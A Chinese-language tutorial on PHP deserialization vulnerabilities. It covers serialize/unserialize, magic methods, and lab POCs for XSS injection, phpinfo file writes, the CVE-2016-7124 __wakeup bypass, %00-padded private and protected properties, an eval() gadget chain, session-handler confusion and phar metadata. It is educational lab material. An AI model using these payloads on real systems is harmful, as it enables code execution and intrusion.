序列化
序列化
1.定义:
利用serialize()
将一个对象转换为字符串
1.1先看一下直接输出对象
<?php
class test{
public $name="ghtwf01";
public $age="18";
}
$a=new test();
print_r($a);
?>
效果:
1.2利用serialize()
函数将这个对象进行序列化成字符串然后输出,代码:
<?php
class test{
public $name="ghtwf01";
public $age="18";
}
$a=new test();
$a=serialize($a);
print_r($a);
?>
效果:
1.3 如果不是public方法:
<?php
class test{
public $name="ghtwf01";
private $age="18";
protected $sex="man";
}
$a=new test();
$a=serialize($a);
print_r($a);
?>
效果:
private分析:
发现原本
age
属性变成了testage
testage的长度并不是9,但长度显示为9
解释:
private属性序列化的格式是%00类名%00成员名
protect分析:
sex
变成了*sex
长度却是6
解释:
protect属性序列化的时候的格式是%00*%00属性名
反序列化
1. 定义:
利用unserialize()
函数将一个经过序列化的字符串转换成一个php代码
<?php
$b='O:4:"test":2:{s:4:"name";s:7:"ghtwf01";s:3:"age";s:2:"18";}';
$b=unserialize($b);
print_r($b)
?>
效果:
反序列化漏洞利用原理
1. php的魔术函数:
详解链接:https://segmentfault.com/a/1190000007250604
__construct()当一个对象创建时被调用
__destruct()当一个对象销毁时被调用
__toString()当反序列化后的对象被输出的时候(转化为字符串的时候)被调用
__sleep() 在对象在被序列化之前运行
__wakeup将在序列化之后立即被调用
利用代码演示效果:
<?php
class test{
public $a='hacked by ghtwf01';
public $b='hacked by blckder02';
public function pt(){
echo $this->a.'<br />';
}
public function __construct(){
echo '__construct<br />';
}
public function __destruct(){
echo '__construct<br />';
}
public function __sleep(){
echo '__sleep<br />';
return array('a','b');
}
public function __wakeup(){
echo '__wakeup<br />';
}
}
//创建对象调用__construct
$object = new test();
//序列化对象调用__sleep
$serialize = serialize($object);
//输出序列化后的字符串
echo 'serialize: '.$serialize.'<br />';
//反序列化对象调用__wakeup
$unserialize=unserialize($serialize);
//调用pt输出数据
$unserialize->pt();
//脚本结束调用__destruct
?>
最后两个__construct是在脚本结束后输出:
- 实例化的时候new了一个对象
- 反序列化的时候创建对象
2. 存在反序列化漏洞的代码
<?php
class A{
public $test = "demo";
function __destruct(){
echo $this->test;
}
}
$a = $_GET['value'];
$a_unser = unserialize($a);
?>
这样,我们可以将我们的代码,先进行序列化,再传入,上面的类中有echo函数,我们可以利用他来输出hacked by
注意:
- 我们所进行序列化的代码必须和存在漏洞代码中的类的代码一样
POC:
<?php
class A{
public $test="hacked by ghtwf01";
}
$b= new A();
$result=serialize($b);
print_r($result);
?>
O:1:"A":1:{s:4:"test";s:17:"hacked by ghtwf01";}
传送参数
http://localhost:63342/untitled2/php.php?value=O:1:%22A%22:1:{s:4:%22test%22;s:17:%22hacked+by+ghtwf01%22;}
接下来,把那个执行代码,转换成危险代码,不如说xss
http://localhost:63342/untitled2/php.php?value=O:1:%22A%22:1:{s:4:%22test%22;s:29:%22<script>alert('xss')</script>%22;}
注意:
- 修改代码后,记得修改长度参数
尝试一道简单的反序列化题目
1. 本地环境搭建
phpstudy
文件php.php:
<?php
error_reporting(0);
include "flag.php";
$KEY = "D0g3!!!";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{
echo "$flag";
}
show_source(__FILE__);
flag.php由自己创建再题目代码的同一目录下
文件flag.php:
<?php
$flag='flag{You_Are_Great!!!}';
?>
payload:
<?php
$a="D0g3!!!";
$b=serialize($a);
print_r($b);
?>
第二个例子
1. 题目代码
<?php
class foo{
public $file = "2.txt";
public $data = "test";
function __destruct(){
file_put_contents(dirname(__FILE__).'/'.$this->file,$this->data);
}
}
$file_name = $_GET['filename'];
print "You have readfile ".$file_name;
unserialize(file_get_contents($file_name));
?>
这段代码中,又一个类foo,在他的对象被销毁的时候,会将$data
部分的内容,写进$file
命名的文件内,并且路径是当前目录.
2. POC:
<?php
class foo{
public $file="1.php";
public $data="<?php phpinfo();?>";
}
$a=new foo();
$b=serialize($a)
?>
2.1 得到序列化字符串:
O:3:"foo":2:{s:4:"file";s:5:"1.php";s:4:"data";s:18:"<?php phpinfo();?>";}
3. 之后,将其放进本地的一个文件中:
4. 从首页中传入filename参数
http://localhost/php.php?filename=test.txt
CVE-2016-7124 __wakeup绕过
1. __wakeup函数简介:
unserialize()
会检查是否存在一个__wakeup()
方法,如果存在,就会首先调用这个方法,预先准备对象需要的资源
- 反序列化的时候如果对象属性个数的值大于真是的属性个数的时候会跳过
__wakeup
执行
2. 漏洞影响版本:
- php5 < 5.6.25
- php7 < 7.0.10
3. 漏洞复现:
代码如下:
<?php
class A{
public $target = "test";
function __wakeup(){
$this->target = "wakeup!";
}
function __destruct(){
$fp = fopen("hello.php","w");
fputs($fp,$this->target);
fclose($fp);
}
}
$a = $_GET['test'];
$b = unserialize($a);
echo "hello.php"."<br/>";
include("./hello.php");
?>
魔法函数要比__destruct()函数首先执行,所以我门直接传入
O:1:"A":1:{s:6:"target";s:19:"<?php phpinfo(); ?>";}
首先会被执行的是__wakeup()
函数,这时候target
函数值会被覆盖为wakeup!
,然后生成hello.php
里面的内容是__wakeup
考虑绕过:
- 属性个数的值大于真实属性个数时就会跳过
__wakeup
执行
构造POC:
O:1:"A":2:{s:6:"target";s:19:"<?php phpinfo(); ?>";}
注入对象构造方法
当目标对象被private和protected修饰时反序列化漏洞的利用
上面说了private
和protected
返回长度和public
不一样的原因
private属性序列化的时候格式是%00类名%00成员名
protect属性序列化的时候格式是%00*%00成员名
protected情况下:
<?php
class A{
protected $test = "hahaha";
function __destruct(){
echo $this->test;
}
}
$a = $_GET['test'];
$b = unserialize($a);
?>
构造方式:
<?php
class A{
protected $test = "hahaha";
}
$a = new A();
$b = serialize($a);
print_r($b)
?>
得到字符串:
O:1:"A":1:{s:7:"*test";s:6:"hahaha";}
注意:
- 此时的%00并没有显示出来,因此我们需要在传参的url中加上%00
private情况下:
POC:
<?php
class A{
private $test = "hahaha";
}
$a = new A();
$b = serialize($a);
print_r($b)
?>
得到字符串:
O:1:"A":1:{s:7:"Atest";s:6:"hahaha";}
同理,我们仍然需要补足%00
同名方法的利用
漏洞代码:
<?php
class A{
public $target;
function __construct(){
$this->target = new B;
}
function __destruct(){
$this->target->action();
}
}
class B{
function action(){
echo "action B";
}
}
class C{
public $test;
function action(){
echo "action A";
eval($this->test);
}
}
unserialize($_GET['test']);
?>
- 很显然在代码中,我们希望执行的是C中的
action
函数,而不是b中的action
函数.
POC:
<?php
class A{
public $target;
function __construct(){
$this->target = new C;
$this->target->test = "phpinfo();";
}
function __destruct(){
$this->target->action();
}
}
class C{
public $test;
function action(){
echo "action C";
eval($this->test);
}
}
$a = new A();
echo serialize($a);
?>
得到字符串:
O:1:"A":1:{s:6:"target";O:1:"C":1:{s:4:"test";s:10:"phpinfo();";}}
session反序列化漏洞
1. 什么是session
英文翻译为”会话”,两个人从开始到结束就构成了一个回话。php里的session主要指客户端浏览器与服务器端数据交换的回话,从浏览器打开到关闭的,一个最简单的回话周期
2. PHP session工作流程
当开始一个回话的时候,php会尝试在请求中查找会话ID,如果发现请求的Cookie
、Get
、Post
中不存在session id
,PHP
就会自动调用php_session_create_id
函数创建一个新的会话,并且在http response
中通过set-cookie
头部发送给客户端保存,例如登录如下网页Cokkie、Get、Post
都不存在session id
,于是就使用了set-cookie
头
有时候浏览器用户设置会禁止 cookie
,当在客户端cookie
被禁用的情况下,php
也可以自动将session id
添加到url
参数中以及form
的hidden
字段中,但这需要将php.ini
中的session.use_trans_sid
设为开启,也可以在运行时调用ini_set
来设置这个配置项
- 会话开始之后,
PHP
就会将会话中的数据设置到$_SESSION
变量中,如下述代码就是一个在$_SESSION
变量中注册变量的例子:
<?php
session_start();
if (!isset($_SESSION['username'])) {
$_SESSION['username'] = 'ghtwf01' ;
}
?>
创建一个session
内容是username:ghtwf01
3. Php.ini配置
session.save_path="" --设置session的存储位置
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数
session.auto_start --指定会话模块是否在请求开始时启动一个会话,默认值为 0,不启动
session.serialize_handler --定义用来序列化/反序列化的处理器名字,默认使用php
session.upload_progress.enabled --启用上传进度跟踪,并填充$ _SESSION变量,默认启用
session.upload_progress.cleanup --读取所有POST数据(即完成上传)后,立即清理进度信息,默认启用
如phpstudy
下上述配置如下:
session.save_path = "/tmp" --所有session文件存储在/tmp目录下
session.save_handler = files --表明session是以文件的方式来进行存储的
session.auto_start = 0 --表明默认不启动session
session.serialize_handler = php --表明session的默认(反)序列化引擎使用的是php(反)序列化引擎
session.upload_progress.enabled on --表明允许上传进度跟踪,并填充$ _SESSION变量
session.upload_progress.cleanup on --表明所有POST数据(即完成上传)后,立即清理进度信息($ _SESSION变量)
有关phpsession和php处理器的详解:
4. PHP session的存储机制
PHP session
的存储机制是由session.serialize_handler
来定义引擎的,默认是以文件的方式存储,且存储的文件是由sess_sessionid
来决定文件名的,当然这个文件名也不是不变的,都是sess_sessionid
形式
session.serialize_handler
,它定义的引擎有三种
| 处理器名称 | 存储格式 |
| php | 键名 + 竖线 + 经过serialize()函数序列化处理的值 |
| php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值|
| php_serialize(php>5.5.4) | 经过serialize()函数序列化处理的数组 |
5.php处理器
- 首先来看看
session.serialize_handler
等于php
时候的序列化结果,代码如下
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');//设置处理器
session_start();
$_SESSION['session'] = $_GET['session'];
?>
- 到session的存储目录下看一下session
session
为$_SESSION['session']
的键名,|
后为传入GET
参数经过序列化后的值
session的反序列化漏洞利用
php
处理器和php_serialize
处理器这两个处理器生成的序列化格式本身是没有问题的,但是如果这两个处理器混合起来用,就会造成危害。形成的原理:
- 在用
session.serialize_handler = php_serialize
存储的字符可以引入|
- 再用
session.serialize_handler = php
格式取出$_SESSION
的值时, |会被当成键值对的分隔符,在特定的地方会造成反序列化漏洞。
漏洞代码:
session.php:
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>
test2.php:
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class D0g3{
public $name = 'panda';
function __wakeup(){
echo "Who are you?";
}
function __destruct(){
echo '<br>'.$this->name;
}
}
$str = new D0g3();
?>
session.php
文件的处理器是php_serialize
,test2.php
文件的处理器是php
,session.php
文件的作用是传入可控的 session
值,test2.php
文件的作用是在反序列化开始前输出Who are you?
,反序列化结束的时候输出name
值
运行一下hello.php
看一下效果
POC:
<?php
class D0g3{
public $name = 'ghtwf01';
function __wakeup(){
echo "Who are you?";
}
function __destruct(){
echo '<br>'.$this->name;
}
}
$str = new D0g3();
echo serialize($str);
?>
显示结果:
O:4:"D0g3":1:{s:4:"name";s:7:"ghtwf01";}
ghtwf01
因为session
是php_serialize
处理器,所以允许|
存在字符串中,所以将这段代码序列化内容前面加上|
传入session.php
中
现在来看一下存入session
文件的内容
再打开test2.php
Phar拓展反序列化攻击面
1. phar文件简介
概念:
一个php
应用程序往往是由多个文件构成的,如果能把他们集中为一个文件来分发和运行是很方便的,这样的列子有很多,比如在window
操作系统上面的安装程序、一个jquery
库等等,为了做到这点php
采用了phar
文档文件格式,这个概念源自java
的jar
,但是在设计时主要针对 PHP 的 Web 环境,与 JAR
归档不同的是Phar
归档可由 PHP
本身处理,因此不需要使用额外的工具来创建或使用,使用php
脚本就能创建或提取它。phar
是一个合成词,由PHP
和 Archive
构成,可以看出它是php
归档文件的意思(简单来说phar
就是php
压缩文档,不经过解压就能被 php
访问并执行)
2. phar的组成结构:
stub: phar文件的标识,格式为xxx<?php xxx;__HALT_COMPILER();?>
mainfest: 也就是meta-data,压缩文件的属性等信息,以序列化储存
contents: 压缩文件的内容
signature: 签名,放在文件的末尾
3. 前提条件:
php.ini中设置为phar.readonly=Off
php version>=5.3.0
phar反序列化漏洞
1. 漏洞成因:
phar
存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://
伪协议解析phar文件时就会将反序列化
2. demo测试
根据文件结构自己构建一个phar的文件,php内置了phar类处理相关操作
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>